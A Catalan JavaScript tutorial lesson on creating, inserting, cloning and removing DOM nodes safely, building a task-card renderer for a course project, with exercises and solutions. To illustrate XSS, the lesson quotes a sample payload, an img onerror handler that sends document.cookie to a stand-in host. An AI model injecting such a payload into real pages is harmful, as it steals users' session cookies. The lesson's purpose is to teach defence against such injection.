Fins aquí la pàgina de Nómada Tasques ha estat un motlle: uns <li> escrits a mà a l'HTML que omplíem amb dades del model. Això no escala. El backlog té sis tasques, a 06-07 se'n podran donar d'alta més, i ningú no editarà l'index.html cada vegada que la Marta n'afegeixi una. Una aplicació real construeix la seva interfície a partir de les dades. En aquesta lliçó aprendràs a crear nodes des de zero, a inserir-los exactament on vols, a eliminar-los i a buidar contenidors sense deixar fuites de memòria, a inserir cent elements sense castigar el navegador amb DocumentFragment, i a fer-ho tot de manera segura davant de la injecció d'HTML. El resultat serà vista/targeta.js: la funció que converteix una Tasca del model en el seu <li> complet, amb els seus botons i el seu data-id.
Contingut
- Crear nodes:
createElementicreateTextNode - Clonar:
cloneNode(true) - Inserir amb els mètodes moderns
insertAdjacentHTMLiinsertAdjacentElement- Els mètodes antics, i per què continuen apareixent
- Eliminar i buidar contenidors
DocumentFragment: molts nodes, una sola inserció- Construir amb nodes davant d'injectar HTML
- Una funció auxiliar:
crearElement(etiqueta, props, fills) <template>icontent- Nómada Tasques:
vista/targeta.js - Errors Habituals i Consells
- Exercicis
- Conclusió
- Crear nodes:
createElement i createTextNode
createElement i createTextNodedocument.createElement(etiqueta) fabrica un element nou. Important: neix fora de l'arbre, al llimb. No es veu enlloc fins que l'insereixes.
const li = document.createElement('li');
console.log(li); // <li></li>
console.log(li.parentElement); // null ← encara no és al document
console.log(document.contains(li)); // falseMentre és fora de l'arbre el pots configurar amb tot el que vas aprendre a 06-02, i és la manera més eficient de treballar: construir primer, inserir al final, perquè els canvis sobre un element desconnectat no obliguen el navegador a recalcular res.
const li = document.createElement('li');
li.className = 'tasca tasca--alta'; // aquí sí que val className: l'element és nou
li.dataset.id = '6';
li.dataset.estat = 'pendent';
li.setAttribute('aria-label', 'Pressupost de la fusteria, prioritat alta');
document.querySelector('#llista-tasques').append(li); // ara sí que apareix a la pantalladocument.createTextNode(text) crea un node de text (el tipus 3 de 06-01). Gairebé mai el necessitaràs explícitament, perquè textContent i append ho fan per tu, però convé saber que existeix i que és immune a la interpretació d'HTML:
const text = document.createTextNode('Redisseny <urgent> & revisió');
li.append(text);
// A la pantalla es llegeix literalment: Redisseny <urgent> & revisióDe fet, append accepta cadenes directament i les converteix en nodes de text, amb la mateixa seguretat:
Existeixen dos mètodes germans que veuràs de tant en tant: document.createComment(text) per a comentaris i document.createDocumentFragment() per al contenidor lleuger de l'apartat 7.
- Clonar:
cloneNode(true)
cloneNode(true)node.cloneNode(profund) fa una còpia. L'argument decideix si copia només el node o també tot el seu contingut:
const plantilla = document.querySelector('#llista-tasques li');
const superficial = plantilla.cloneNode(false); // només el <li>, buit per dins
const profund = plantilla.cloneNode(true); // el <li> amb tots els seus descendents
console.log(superficial.children.length); // 0
console.log(profund.children.length); // 3 ← span, span, buttonTres advertències importants sobre el clonatge:
- Copia els atributs, inclosos els
id. Si l'original teniaid="resum", el clon també, i tindràs dos elements amb el mateix id al document:querySelector('#resum')retornarà només el primer i no sabràs mai quin és. Canvia o esborra l'iddel clon. - NO copia els gestors registrats amb
addEventListener. Això és un avantatge disfressat: el clon neix net, i amb delegació (06-04) ni ho notes, perquè el gestor és al contenidor. - Sí que copia els atributs
on…en línia, un motiu més per no fer-los servir mai.
const clon = plantilla.cloneNode(true);
clon.removeAttribute('id'); // higiene obligatòria si l'original tenia id
clon.dataset.id = '7'; // i actualitza el que identifiqui el nou
- Inserir amb els mètodes moderns
La família moderna d'inserció és còmoda, uniforme i admet diversos arguments i cadenes de text. Tots accepten qualsevol nombre de nodes i/o strings.
| Mètode | On insereix | Es crida sobre |
|---|---|---|
pare.append(...) |
Al final dels fills | El contenidor |
pare.prepend(...) |
Al principi dels fills | El contenidor |
elem.before(...) |
Just abans de l'element, com a germà | El germà de referència |
elem.after(...) |
Just després de l'element, com a germà | El germà de referència |
elem.replaceWith(...) |
Substitueix l'element | L'element a substituir |
pare.replaceChildren(...) |
Substitueix tots els fills (sense arguments, buida) | El contenidor |
const llista = document.querySelector('#llista-tasques');
const nova = document.createElement('li');
nova.textContent = 'Revisar la guillotina per enquadernar';
llista.append(nova); // al final
llista.prepend(nova); // ← la MOU al principi (vegeu la nota de sota)
const primera = llista.firstElementChild;
primera.after(nova); // com a segon element
primera.before('Avís: ', nova); // diversos arguments: text i node
nova.replaceWith(document.createElement('li')); // substituïda
llista.replaceChildren(); // llista buidaUn node només pot ser en un lloc. Si insereixes un element que ja és a l'arbre, no es duplica: es mou. És un comportament molt útil per reordenar llistes, i una font de desconcert si no t'ho esperes:
const li = llista.firstElementChild;
llista.append(li); // no n'hi ha dos: el primer s'ha convertit en l'últimPer tenir dues còpies cal clonar explícitament: llista.append(li.cloneNode(true)).
insertAdjacentHTML i insertAdjacentElement
insertAdjacentHTML i insertAdjacentElementAquests dos mètodes permeten inserir en una de quatre posicions relatives a l'element, expressades amb una cadena:
<!-- beforebegin --> <li class="tasca"> <!-- afterbegin --> contingut <!-- beforeend --> </li> <!-- afterend -->
| Posició | On queda |
|---|---|
'beforebegin' |
Abans de l'element, com a germà anterior |
'afterbegin' |
A dins, com a primer fill |
'beforeend' |
A dins, com a últim fill |
'afterend' |
Després de l'element, com a germà següent |
const li = document.querySelector('[data-id="6"]');
li.insertAdjacentElement('beforeend', document.createElement('button'));
li.insertAdjacentHTML('afterbegin', '<span class="tasca__marca">⚠</span>');insertAdjacentHTML té un avantatge real davant d'innerHTML +=: no destrueix ni recrea els nodes existents, només afegeix. Però comparteix el seu gran defecte: interpreta HTML, així que arrossega el mateix risc d'XSS de 06-02.
// ✗ Mai amb dades que no controles
li.insertAdjacentHTML('beforeend', `<span>${tasca.titol}</span>`);
// Si el títol és '<img src=x onerror=…>', acabes d'executar codi aliè.
// ✓ Amb marcatge literal que has escrit tu, sense interpolar dades, és acceptable
li.insertAdjacentHTML('beforeend', '<span class="tasca__marca" aria-hidden="true">⚠</span>');La regla és la de sempre: HTML com a cadena només quan és constant. Tan bon punt hi ha una interpolació de dades, o escapes (06-06) o construeixes amb nodes.
- Els mètodes antics, i per què continuen apareixent
Abans de la família moderna existien tres mètodes que veuràs en qualsevol codi amb uns quants anys. Val la pena conèixer-los per llegir-los, encara que no els escriguis.
| Antic | Modern equivalent | Diferències |
|---|---|---|
pare.appendChild(node) |
pare.append(node) |
L'antic admet un sol node, no accepta strings, i retorna el node inserit |
pare.insertBefore(nou, ref) |
ref.before(nou) |
L'antic es crida sobre el pare i necessita la referència; amb ref = null insereix al final |
pare.removeChild(fill) |
fill.remove() |
L'antic necessita conèixer el pare; el modern no |
pare.replaceChild(nou, vell) |
vell.replaceWith(nou) |
Igual: l'antic exigeix el pare |
// Antic
const li = document.createElement('li');
llista.appendChild(li);
llista.insertBefore(li, llista.firstChild);
llista.removeChild(li);
// Modern
llista.append(li);
llista.prepend(li);
li.remove();Els moderns guanyen en tot tret d'un detall: appendChild retorna el node, cosa que permet encadenar (const p = div.appendChild(document.createElement('p'))), mentre que append retorna undefined. És un inconvenient menor i es resol amb una variable.
- Eliminar i buidar contenidors
Eliminar un element és trivial:
Buidar un contenidor té tres formes, i no són equivalents:
// Opció A · la moderna i recomanada
llista.replaceChildren();
// Opció B · la clàssica amb cadena buida
llista.innerHTML = '';
// Opció C · a mà, node a node
while (llista.firstChild) llista.firstChild.remove();| Forma | Llegibilitat | Analitza HTML | Notes |
|---|---|---|---|
replaceChildren() |
Alta | No | La preferible; també serveix per reemplaçar en una operació |
innerHTML = '' |
Alta | Sí (una cadena buida, però passa per l'analitzador) | Funciona, però convida a innerHTML = '<li>…' amb dades |
Bucle while |
Baixa | No | Només per compatibilitat amb navegadors molt antics |
replaceChildren és especialment elegant perquè també accepta el contingut nou, amb la qual cosa buidar i omplir és una sola operació:
El matís dels gestors i les fuites de memòria. Quan elimines un element del DOM, els seus gestors desapareixen amb ell… sempre que ningú més no en desi una referència. Si el vas desar en un array, en un Map o al closure d'una altra funció, l'element continua viu en memòria encara que no sigui a la pàgina, juntament amb tot el seu subarbre i els seus gestors. Això és una fuita de memòria.
// ✗ Fuita: l'array reté els elements encara que s'hagin tret de la pàgina
const cacheDeTargetes = [];
for (const tasca of tauler.tasques) {
const li = crearTargeta(tasca);
cacheDeTargetes.push(li); // referència forta que sobreviu al remove()
llista.append(li);
}
llista.replaceChildren(); // la pàgina es buida, la memòria no
// ✓ Si necessites una memòria cau, neteja-la també
cacheDeTargetes.length = 0;Aquest és exactament un dels patrons que s'analitzen a Gestió de Memòria. I és un altre argument a favor de la delegació de 06-04: si l'únic gestor és al <ul>, que no s'elimina mai, no hi ha res a netejar en esborrar targetes.
Un últim apunt: si elimines l'element que tenia el focus, el focus es perd i torna a document.body. Qui navega amb teclat es queda sense posició. La solució és moure el focus a un lloc raonable abans d'eliminar:
const li = boto.closest('li[data-id]');
const seguent = li.nextElementSibling ?? li.previousElementSibling;
li.remove();
(seguent?.querySelector('button') ?? llista).focus();
DocumentFragment: molts nodes, una sola inserció
DocumentFragment: molts nodes, una sola insercióInserir sis elements d'un en un significa tocar l'arbre sis vegades:
// Sis insercions al document viu
for (const tasca of tauler.tasques) {
llista.append(crearTargeta(tasca));
}Un DocumentFragment és un contenidor lleuger fora de l'arbre (el nodeType 11 de 06-01). El pots omplir sense que el navegador hagi de recalcular res, i en inserir-lo passa una cosa especial: el fragment es dissol i només hi entren els seus fills.
const fragment = document.createDocumentFragment();
for (const tasca of tauler.tasques) {
fragment.append(crearTargeta(tasca)); // fora de l'arbre: sense cost de repintat
}
llista.append(fragment); // UNA sola operació sobre el document
console.log(fragment.childNodes.length); // 0 ← s'ha buidat en inserir-se
console.log(llista.children.length); // 6És l'equivalent a portar la compra en una bossa en lloc de a grapats: menys viatges.
Convé ser honest sobre la magnitud del benefici. Els navegadors moderns agrupen la feina de disseny i no repinten després de cada append, així que amb sis tasques la diferència és inapreciable. Amb milers de files, o quan entre inserció i inserció llegeixes geometria (el layout thrashing de 06-02), sí que es nota. El mesurament seriós és el tema de Manipulació Eficient del DOM.
Dit això, hi ha una raó per fer-lo servir que no depèn del rendiment: replaceChildren amb spread fa el mateix de manera més llegible, i aquella és la forma que adoptarem:
Una crida, contingut nou complet, sense fragment explícit i sense innerHTML.
- Construir amb nodes davant d'injectar HTML
Aquest és el punt de criteri de la lliçó. Hi ha dues maneres de produir la targeta d'una tasca:
// Opció 1 · cadena d'HTML
llista.innerHTML += `
<li class="tasca tasca--${tasca.prioritat}" data-id="${tasca.id}">
<span class="tasca__titol">${tasca.titol}</span>
<button data-accio="avancar">Començar</button>
</li>`;
// Opció 2 · nodes
const li = document.createElement('li');
li.className = `tasca tasca--${tasca.prioritat}`;
li.dataset.id = tasca.id;
const titol = document.createElement('span');
titol.className = 'tasca__titol';
titol.textContent = tasca.titol; // ← segur per construcció
li.append(titol);| Aspecte | Cadena d'HTML | Construcció amb nodes |
|---|---|---|
| Llegibilitat de l'estructura | Alta: se'n veu la forma d'un cop d'ull | Mitjana: cal llegir diverses línies |
| Seguretat amb dades externes | Perillosa: XSS si no escapes | Segura: textContent no interpreta res |
| Conservació de nodes existents | innerHTML += els destrueix i recrea |
Els respecta |
| Gestors i focus | Es perden en reassignar | Es conserven |
| Referències als nodes creats | Cal tornar-los a buscar | Ja les tens |
| Cost | Analitzar HTML | Crides a mètodes |
El problema de seguretat és concret i no teòric. Si l'Iván dona d'alta una tasca titulada <img src=x onerror="fetch('https://dolent.example/roba?c='+document.cookie)">, l'opció 1 executa aquell codi en el context de la teva pàgina. L'opció 2 mostra el text literal i no executa res.
A més, innerHTML += té un defecte addicional molt poc intuïtiu: no afegeix, reconstrueix. Llegeix tot l'HTML interior, hi concatena la teva cadena i el torna a analitzar sencer. Tots els nodes anteriors es destrueixen i es recreen: es perd el focus, es perd el text seleccionat i es perd l'estat de qualsevol <input> que hi hagués dins.
Decisió per a la resta del curs: construïm amb nodes. A 06-06 veuràs l'alternativa intermèdia —plantilles amb template literals més una funció escaparHtml obligatòria— i a l'apartat 10 d'aquesta lliçó, la millor de totes per a estructures fixes: <template>.
- Una funció auxiliar:
crearElement(etiqueta, props, fills)
crearElement(etiqueta, props, fills)Construir amb nodes és segur però verbós. Una funció auxiliar de quinze línies recupera la llegibilitat sense perdre la seguretat. Aquesta serà una peça estable del projecte:
// js/vista/dom.js
/**
* Crea un element configurat en una sola expressió.
* @param {string} etiqueta 'li', 'button', 'span'…
* @param {object} props classes, dataset, atributs i propietats
* @param {Array} fills nodes o cadenes (les cadenes s'insereixen com a TEXT)
* @returns {HTMLElement}
*/
export function crearElement(etiqueta, props = {}, fills = []) {
const element = document.createElement(etiqueta);
for (const [clau, valor] of Object.entries(props)) {
if (valor === null || valor === undefined || valor === false) continue;
if (clau === 'classes') {
element.classList.add(...[].concat(valor).filter(Boolean));
} else if (clau === 'dataset') {
Object.assign(element.dataset, valor);
} else if (clau === 'text') {
element.textContent = valor; // ✓ mai innerHTML
} else if (clau in element) {
element[clau] = valor; // propietats: disabled, value, type…
} else {
element.setAttribute(clau, valor); // atributs: aria-*, role…
}
}
element.append(...[].concat(fills).filter(Boolean));
return element;
}
/** Dreceres de selecció, per no repetir document.querySelector per tot arreu. */
export const $ = (sel, arrel = document) => arrel.querySelector(sel);
export const $$ = (sel, arrel = document) => [...arrel.querySelectorAll(sel)];Val la pena entendre tres decisions del codi:
clau in elementdistingeix propietats d'atributs.disabled,value,type,idihiddenexisteixen com a propietats de l'objecte DOM, i assignar-les directament és el correcte (06-02). Elsaria-*iroleno existeixen com a propietats, així que cauen asetAttribute. La comprovació resol l'elecció automàticament.textfa servirtextContent. No hi ha cap opció a l'API que interpreti HTML: és impossible provocar un XSS a través d'aquesta funció, i aquella impossibilitat és justament l'objectiu.[].concat(valor)accepta indistintament un valor solt o un array, i elfilter(Boolean)descarta elsnullifalse, cosa que permet escriure fills condicionals senseif.
Amb ella, la targeta es llegeix gairebé com l'HTML que produeix:
const li = crearElement('li', {
classes: ['tasca', `tasca--${tasca.prioritat}`],
dataset: { id: tasca.id, estat: tasca.estat }
}, [
crearElement('span', { classes: 'tasca__titol', text: tasca.titol }),
crearElement('button', { type: 'button', text: 'Començar', dataset: { accio: 'avancar' } })
]);
<template> i content
<template> i contentHi ha una tercera via que combina el millor de les dues: declarar l'estructura a l'HTML, on es llegeix d'un cop d'ull, i omplir només les dades des de JavaScript, amb textContent.
L'element <template> conté marcatge que el navegador analitza però no mostra ni activa: les seves imatges no es descarreguen, els seus scripts no s'executen i no apareix a la pàgina.
<template id="plantilla-tasca">
<li class="tasca">
<span class="tasca__titol"></span>
<span class="tasca__meta"></span>
<span class="tasca__etiquetes"></span>
<button type="button" class="tasca__accio" data-accio="avancar"></button>
<button type="button" class="tasca__accio" data-accio="reobrir">Reobrir</button>
</li>
</template>El seu contingut viu a la propietat content, que és un DocumentFragment. Per fer-lo servir cal clonar-lo, perquè l'original ha de continuar intacte per al següent ús:
const plantilla = document.querySelector('#plantilla-tasca');
const fragment = plantilla.content.cloneNode(true); // ✓ còpia profunda
const li = fragment.querySelector('li'); // ara ja el pots configurar
li.dataset.id = tasca.id;
li.querySelector('.tasca__titol').textContent = tasca.titol;
llista.append(li);Errors típics amb <template>:
// ✗ Oblidar .content: el <template> en si no conté el <li> com a fill normal
plantilla.querySelector('li'); // null
// ✗ Oblidar clonar: mous el contingut fora de la plantilla i la buides
llista.append(plantilla.content); // la plantilla queda inservible per a la propera
// ✓ Correcte
llista.append(plantilla.content.cloneNode(true));| Enfocament | Estructura visible | Seguretat | Quan fer-lo servir |
|---|---|---|---|
createElement + crearElement |
Al JavaScript | Segura | Estructures dinàmiques o condicionals |
<template> + cloneNode |
A l'HTML | Segura (omples amb textContent) |
Estructures fixes que es repeteixen |
Template literal + innerHTML |
Al JavaScript | Perillosa sense escapar | Només amb marcatge constant |
Per a una llista de targetes idèntiques, <template> sol ser la millor opció: l'estructura la pot tocar qui maqueta sense obrir el JavaScript, i el codi queda en tres línies d'assignació.
- Nómada Tasques:
vista/targeta.js
vista/targeta.jsAjuntem-ho tot. Aquest mòdul converteix una Tasca del model en el seu <li> complet. Fa servir crearElement per tenir control total i no dependre que l'HTML contingui la plantilla; al final veuràs la variant amb <template>.
// js/vista/targeta.js
import { crearElement } from './dom.js';
import { AVUI } from '../util/dates.js';
import { marcaEstat } from '../util/format.js';
const CLASSE_PRIORITAT = Object.freeze({
alta: 'tasca--alta', mitjana: 'tasca--mitjana', baixa: 'tasca--baixa'
});
const SEGUENT = Object.freeze({ pendent: 'en-curs', 'en-curs': 'feta', feta: null });
const ETIQUETA = Object.freeze({
pendent: 'Començar', 'en-curs': 'Marcar feta', feta: 'Completada'
});
/**
* Converteix una Tasca del model en el seu element <li>.
* No registra cap gestor: els clics s'atenen per delegació (06-04).
*/
export function crearTargeta(tasca, avui = AVUI) {
const vencuda = tasca.estaVencuda(avui);
const titol = crearElement('span', {
classes: 'tasca__titol',
text: tasca.titol // ← textContent: segur amb qualsevol títol
});
const meta = crearElement('span', {
classes: 'tasca__meta',
text: `${marcaEstat(tasca.estat)} ${tasca.responsable ?? 'sense assignar'} · ` +
`${tasca.horesEstimades} h · ${tasca.estat}` +
(vencuda ? ` · vençuda fa ${Math.abs(tasca.diesRestants)} dies` : '')
});
const etiquetes = crearElement('ul', { classes: 'tasca__etiquetes' },
tasca.etiquetes.map((e) => crearElement('li', { classes: 'etiqueta', text: e }))
);
const avancar = crearElement('button', {
type: 'button',
classes: 'tasca__accio',
dataset: { accio: 'avancar' },
disabled: SEGUENT[tasca.estat] === null,
'aria-label': `${ETIQUETA[tasca.estat]}: ${tasca.titol}`,
text: ETIQUETA[tasca.estat]
});
const reobrir = crearElement('button', {
type: 'button',
classes: 'tasca__accio',
dataset: { accio: 'reobrir' },
disabled: tasca.estat !== 'en-curs',
'aria-label': `Tornar a pendent: ${tasca.titol}`,
text: 'Reobrir'
});
return crearElement('li', {
classes: ['tasca', CLASSE_PRIORITAT[tasca.prioritat], vencuda && 'tasca--vencuda',
tasca.estat === 'feta' && 'tasca--feta'],
dataset: { id: tasca.id, estat: tasca.estat, responsable: tasca.responsable ?? '' },
tabindex: '-1' // enfocable per codi, no amb Tab
}, [titol, meta, etiquetes, avancar, reobrir]);
}Fixa't en tres detalls:
vencuda && 'tasca--vencuda'produeixfalsequan no aplica, i elfilter(Boolean)decrearElementho descarta. És la forma idiomàtica d'una classe condicional sense escriure unif.tabindex="-1"fa el<li>enfocable per programa (li.focus()) però no el fica a l'ordre del tabulador. Serveix per tornar el focus a una targeta després de redibuixar-la, a 06-06.- La targeta no registra ni un sol gestor. Es pot crear, clonar, destruir i recrear lliurement, perquè l'únic gestor viu al
<ul>. Aquell és el dividend de la delegació de 06-04.
I així es fa servir, amb replaceChildren per pintar la llista sencera:
// js/app.js
import { Tauler } from './model/tauler.js';
import { crearBacklog } from './dades/backlog.js';
import { AVUI } from './util/dates.js';
import { crearTargeta } from './vista/targeta.js';
import { connectarTauler } from './vista/controlador.js';
import { $ } from './vista/dom.js';
const tauler = new Tauler('Taller Nómada', crearBacklog());
const llista = $('#llista-tasques');
// Les SIS tasques, creades des del model. L'HTML ja no porta cap <li>.
llista.replaceChildren(...tauler.tasques.map((t) => crearTargeta(t, AVUI)));
connectarTauler({ llista, resum: $('#resum'), tauler, avui: AVUI });L'index.html se simplifica: el <ul id="llista-tasques"> queda buit, perquè el seu contingut el genera el model.
Aquell aria-live="polite" fa que un lector de pantalla anunciï els canvis de la llista sense interrompre. Amb les sis targetes a la pantalla, el resum continua donant els números canònics: 6 tasques, 5 obertes, 45 h pendents, 1 vençuda, esforç 124.
La variant amb <template>, per si prefereixes tenir l'estructura a l'HTML:
// js/vista/targeta.js — versió amb plantilla
import { $ } from './dom.js';
export function crearTargetaDesDePlantilla(tasca, avui = AVUI) {
const li = $('#plantilla-tasca').content.firstElementChild.cloneNode(true);
li.dataset.id = tasca.id;
li.dataset.estat = tasca.estat;
li.classList.add(CLASSE_PRIORITAT[tasca.prioritat]);
li.classList.toggle('tasca--vencuda', tasca.estaVencuda(avui));
li.classList.toggle('tasca--feta', tasca.estat === 'feta');
$('.tasca__titol', li).textContent = tasca.titol;
$('.tasca__meta', li).textContent = `${tasca.responsable ?? 'sense assignar'} · ${tasca.horesEstimades} h`;
const avancar = $('[data-accio="avancar"]', li);
avancar.textContent = ETIQUETA[tasca.estat];
avancar.disabled = SEGUENT[tasca.estat] === null;
return li;
}Totes dues són correctes. La primera dona més control i no depèn de l'HTML; la segona separa millor maquetació i lògica. Tria'n una i sigues coherent.
Errors Habituals i Consells
- Crear un element i oblidar-se d'inserir-lo.
createElementno l'afegeix a la pàgina. Si «no es veu res», comprova que hi ha unappenden algun lloc. - Esperar que inserir dupliqui. Un node només pot ser en un lloc: inserir-ne un que ja era a l'arbre el mou. Per duplicar,
cloneNode(true). - Clonar un element amb
idi no canviar-lo. Acabes amb ids duplicats iquerySelectorretorna sempre el primer. Esborra o reanomena l'iddel clon. - Oblidar
.contento el clonatge amb<template>.plantilla.querySelector('li')donanull;append(plantilla.content)buida la plantilla per sempre. La forma correcta ésplantilla.content.cloneNode(true). - Fer servir
innerHTML +=per afegir. No afegeix: reconstrueix tot l'interior, amb la qual cosa es perden focus, selecció, estat de camps i gestors directes. Fes servirappendoinsertAdjacentHTML. - Interpolar dades en cadenes d'HTML. És la porta a l'XSS. Amb dades, sempre
textContento nodes; amb marcatge constant,insertAdjacentHTMLés acceptable. - Desar nodes eliminats en arrays o
Map. Impedeix que el navegador alliberi la memòria. Si tens una memòria cau de nodes, neteja-la quan buidis el contenidor. - Eliminar l'element que tenia el focus sense recol·locar-lo. Qui fa servir teclat es queda a
body. Mou el focus al germà següent o al contenidor abans d'eliminar. - Consell: construeix fora de l'arbre i connecta al final. Tot el que facis sobre un element desconnectat és de franc per al navegador. És el mateix principi de
DocumentFragmenti dereplaceChildren(...). - Consell: una funció
crearElementben feta s'amortitza a la primera pantalla. Dona la llegibilitat de la plantilla amb la seguretat dels nodes, i fa impossible per construcció que una dada acabi interpretant-se com a HTML.
Exercicis
Exercici 1 · Un separador per prioritat
Escriu inserirSeparadors(llista) que recorri els <li> ja pintats i, cada vegada que canviï la prioritat respecte de l'anterior, insereixi abans d'aquell <li> un element <li class="separador" role="presentation"> amb el text Prioritat alta, Prioritat mitjana o Prioritat baixa. Ha de funcionar sense duplicar separadors si es crida dues vegades. Fes servir before() i crearElement.
Exercici 2 · Buidar i mesurar
Escriu dues funcions, pintarAmbBucle(llista, tasques) i pintarDeCop(llista, tasques). La primera buida i fa un append per tasca; la segona fa servir replaceChildren(...) amb el spread. Comprova amb console.time/console.timeEnd quant triguen amb les 6 tasques i amb 5.000 generades repetint el backlog. Comenta els resultats amb honestedat.
Exercici 3 · Targeta amb plantilla i focus conservat
Afegeix a l'HTML un <template id="plantilla-tasca"> i escriu reemplacarTargeta(li, tasca) que substitueixi un <li> existent per una targeta acabada de crear amb replaceWith(), conservant el focus: si l'element actiu era dins del <li> que se substitueix, el focus ha d'acabar al botó equivalent de la targeta nova. Explica com detectes quin era el botó equivalent.
Solucions
Exercici 1
import { crearElement, $$ } from './vista/dom.js';
const NOM = { alta: 'Prioritat alta', mitjana: 'Prioritat mitjana', baixa: 'Prioritat baixa' };
export function inserirSeparadors(llista) {
// Idempotència: traiem els separadors anteriors abans de res
$$('.separador', llista).forEach((s) => s.remove());
let anterior = null;
for (const li of $$('li[data-id]', llista)) {
const prioritat = [...li.classList]
.find((c) => c.startsWith('tasca--') && c.slice(7) in NOM)?.slice(7);
if (prioritat !== anterior) {
li.before(crearElement('li', {
classes: 'separador',
role: 'presentation',
text: NOM[prioritat]
}));
anterior = prioritat;
}
}
}Dues claus. La idempotència s'aconsegueix netejant primer: sense aquell remove() inicial, cada crida hi afegiria una altra tanda de separadors. I el selector li[data-id] és essencial al bucle: si recorreguéssim tots els <li>, els separadors acabats d'inserir també entrarien a la iteració. El role="presentation" indica al lector de pantalla que aquell <li> no és un element real de la llista, sinó un encapçalament visual.
Exercici 2
function pintarAmbBucle(llista, tasques) {
llista.replaceChildren();
for (const t of tasques) llista.append(crearTargeta(t));
}
function pintarDeCop(llista, tasques) {
llista.replaceChildren(...tasques.map((t) => crearTargeta(t)));
}
const moltes = Array.from({ length: 5000 }, (_, i) => {
const base = tauler.tasques[i % 6];
return Object.assign(Object.create(Object.getPrototypeOf(base)), base, { id: i + 1 });
});
console.time('bucle'); pintarAmbBucle(llista, moltes); console.timeEnd('bucle');
console.time('de cop'); pintarDeCop(llista, moltes); console.timeEnd('de cop');Resultats típics en un portàtil corrent: amb 6 tasques totes dues ronden 1 ms i la diferència és pur soroll de mesurament. Amb 5.000, la versió de cop sol quedar entre un 10 % i un 30 % per davant, però el gruix del temps se l'endú crear les 5.000 targetes, no inserir-les.
La conclusió honesta és que la insistència clàssica en DocumentFragment està una mica sobrevalorada per al cas normal: els navegadors moderns no repinten després de cada append. replaceChildren(...) es prefereix per claredat, no per velocitat. I la lliçó de fons és la de 09-01: mesura abans d'optimitzar, perquè la intuïció sobre rendiment s'equivoca gairebé sempre.
Exercici 3
export function reemplacarTargeta(li, tasca, avui = AVUI) {
// 1 · El focus era a dins? Desem QUIN botó era, no la referència
const actiu = document.activeElement;
const teniaFocus = li.contains(actiu);
const accioEnfocada = teniaFocus ? actiu.dataset.accio ?? null : null;
// 2 · Construïm la targeta nova i substituïm
const nova = crearTargeta(tasca, avui);
li.replaceWith(nova);
// 3 · Restaurem el focus al botó equivalent
if (teniaFocus) {
const desti = accioEnfocada !== null
? nova.querySelector(`[data-accio="${accioEnfocada}"]`)
: null;
(desti !== null && !desti.disabled ? desti : nova).focus();
}
return nova;
}El botó equivalent s'identifica per la seva data-accio, no per la seva posició ni per una referència al node antic (que acaba de deixar d'existir). És el mateix principi que el data-id de les targetes: una clau estable que sobreviu a la recreació del DOM. I el tabindex="-1" del <li> és el que permet l'alternativa nova.focus() quan el botó equivalent ha quedat desactivat —per exemple, després de marcar la tasca com a feta—: sense ell, el focus cauria a document.body i qui navega amb teclat perdria la seva posició a la llista.
Aquest problema —redibuixar i perdre el focus— és precisament el que dona peu a la lliçó següent.
Conclusió
Ja no depens de l'HTML escrit a mà: saps fabricar la interfície. Crees nodes amb createElement (que neixen fora de l'arbre, i per això configurar-los és de franc) i amb createTextNode, i els copies amb cloneNode(true), recordant que el clon arrossega l'id però no els gestors d'addEventListener. Els insereixes amb la família moderna —append, prepend, before, after, replaceWith, replaceChildren—, que admet diversos arguments i cadenes de text, sabent que inserir un node que ja era a l'arbre el mou en lloc de duplicar-lo. Coneixes insertAdjacentHTML/insertAdjacentElement amb les seves quatre posicions (beforebegin, afterbegin, beforeend, afterend) i l'avís que el primer interpreta HTML. I reconeixes els mètodes antics appendChild, insertBefore, removeChild i replaceChild per llegir codi heretat, encara que escriguis els moderns.
Saps eliminar amb remove() i buidar amb replaceChildren(), que és preferible a innerHTML = '' perquè no passa per l'analitzador d'HTML i perquè la mateixa crida permet buidar i omplir alhora. Tens clar el matís que importa: els gestors desapareixen amb l'element tret que algú retingui una referència en un array, un Map o un closure, i aquell és l'origen d'una fuita de memòria clàssica; i que eliminar l'element enfocat deixa qui navega amb teclat sense posició. Coneixes DocumentFragment per agrupar insercions, juntament amb la valoració honesta del seu impacte real, i saps que replaceChildren(...nodes) aconsegueix el mateix amb més claredat.
Sobretot, tens el criteri de construcció: nodes davant de cadenes. Interpolar dades en HTML és la porta directa a l'XSS, i innerHTML += ni tan sols afegeix —reconstrueix l'interior sencer i s'emporta per davant el focus, la selecció i l'estat—. La resposta és crearElement(etiqueta, props, fills) a vista/dom.js, que distingeix propietats d'atributs amb clau in element, accepta classes condicionals i fa servir textContent sempre; o bé <template> amb content.cloneNode(true) quan l'estructura és fixa i prefereixes tenir-la a l'HTML. Amb aquelles peces has escrit vista/targeta.js: crearTargeta(tasca) retorna el <li> complet d'una tasca, amb la seva prioritat, la seva marca de vençuda, les seves etiquetes, els seus dos botons amb data-accio i el seu data-id, sense registrar ni un sol gestor, perquè d'això ja se n'ocupa la delegació. El <ul> de l'HTML ha quedat buit i les sis tasques del backlog es pinten des del model.
Falta el pas que converteix tot això en una aplicació de debò: redibuixar quan les dades canvien. Ara mateix pintes una vegada en arrencar i després apedaces cada <li> a mà. El natural és tenir una funció render(estat) que dibuixi el tauler sencer a partir del Tauler, i repetir-la després de cada canvi. Però això porta el seu propi problema, que ja has fregat a l'últim exercici: redibuixar-ho tot destrueix els nodes, i amb ells se'n van el focus, el desplaçament i el que hagués escrit l'usuari. Com s'organitza el cicle estat → render → esdeveniment → estat nou → render, com s'agrupen les tasques per columnes, com s'escapen les dades si decideixes fer servir plantilles de text, i com s'actualitza només el que ha canviat reutilitzant nodes pel seu data-id, és Renderitzat de Llistes i Plantilles HTML.
Curs de JavaScript: De Principiant a Avançat
Mòdul 1: Introducció a JavaScript
- Què és JavaScript?
- Configuració del teu Entorn de Desenvolupament
- El teu Primer Programa en JavaScript
- Sintaxi i Conceptes Bàsics de JavaScript
- Variables i Tipus de Dades
- Operadors Bàsics
- Conversió de Tipus i Comparacions
- El Projecte del Curs: Nómada Tasques
Mòdul 2: Estructures de Control
- Sentències Condicionals
- Bucles: for, while, do-while
- Sentències Switch
- Control del Flux: break, continue i Bucles Imbricats
- Gestió d'Errors amb try-catch
Mòdul 3: Funcions
- Definició i Crida de Funcions
- Expressions de Funció i Funcions Fletxa
- Paràmetres i Valors de Retorn
- Àmbit i Closures
- Hoisting i el Context d'Execució
- Funcions d'Ordre Superior
- Recursivitat
Mòdul 4: Objectes i Arrays
- Introducció als Objectes
- Mètodes d'Objecte i la Paraula Clau
this - Arrays: Conceptes Bàsics i Mètodes
- Iteració sobre Arrays
